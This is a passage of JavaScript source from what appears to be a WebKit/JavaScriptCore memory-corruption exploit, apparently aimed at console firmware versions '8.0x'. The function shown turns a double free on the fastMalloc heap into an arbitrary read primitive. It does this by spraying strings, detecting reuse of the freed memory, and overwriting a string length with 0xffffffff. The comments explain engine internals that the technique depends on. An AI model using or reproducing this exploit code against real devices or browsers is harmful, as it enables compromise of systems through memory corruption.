| 373 | |
| 374 | // we now have a double free on the fastMalloc heap |
| 375 | async function make_rdr(view) { |
| 376 | let str_wait = 0; |
| 377 | const strs = []; |
| 378 | const u32 = new Uint32Array(1); |
| 379 | const u8 = new Uint8Array(u32.buffer); |
| 380 | const marker_offset = original_strlen - 4; |
| 381 | const pad = "B".repeat(marker_offset); |
| 382 | |
| 383 | log("start string spray"); |
| 384 | while (true) { |
| 385 | for (let i = 0; i < num_strs; i++) { |
| 386 | u32[0] = i; |
| 387 | // on versions like 8.0x: |
| 388 | // * String.fromCharCode() won't create a 8-bit string. so we use |
| 389 | // fromCodePoint() instead |
| 390 | // * Array.prototype.join() won't try to convert 16-bit strings to |
| 391 | // 8-bit |
| 392 | // |
| 393 | // given the restrictions above, we will ensure "str" is always a |
| 394 | // 8-bit string. you can check a WebKit source code (e.g. on 8.0x) |
| 395 | // to see that String.prototype.repeat() will create a 8-bit string |
| 396 | // if the repeated string's length is 1 |
| 397 | // |
| 398 | // Array.prototype.join() calls JSC::JSStringJoiner::join(). it |
| 399 | // returns a plain JSString (not a JSRopeString). that means we |
| 400 | // have allocated a WTF::StringImpl with the proper size and whose |
| 401 | // string data is inlined |
| 402 | const str = [pad, String.fromCodePoint(...u8)].join(""); |
| 403 | strs.push(str); |
| 404 | } |
| 405 | |
| 406 | if (view.read32(off.strimpl_inline_str) === 0x42424242) { |
| 407 | view.write32(off.strimpl_strlen, 0xffffffff); |
| 408 | break; |
| 409 | } |
| 410 | |
| 411 | strs.length = 0; |
| 412 | gc(); |
| 413 | await sleep(); |
| 414 | str_wait++; |
| 415 | } |
| 416 | log(`JSString reused memory at loop: ${str_wait}`); |
| 417 | |
| 418 | const idx = view.read32(off.strimpl_inline_str + marker_offset); |
| 419 | log(`str index: ${hex(idx)}`); |
| 420 | log("view:"); |
| 421 | log(view); |
| 422 | |
| 423 | // versions like 8.0x have a JSC::JSString that have their own m_length |
| 424 | // field. strings consult that field instead of the m_length of their |
| 425 | // StringImpl |
| 426 | // |
| 427 | // we work around this by passing the string to Error. |
| 428 | // ErrorInstance::create() will then create a new JSString initialized from |
| 429 | // the StringImpl of the message argument |
| 430 | const rstr = Error(strs[idx]).message; |
| 431 | log(`str len: ${hex(rstr.length)}`); |
| 432 | if (rstr.length === 0xffffffff) { |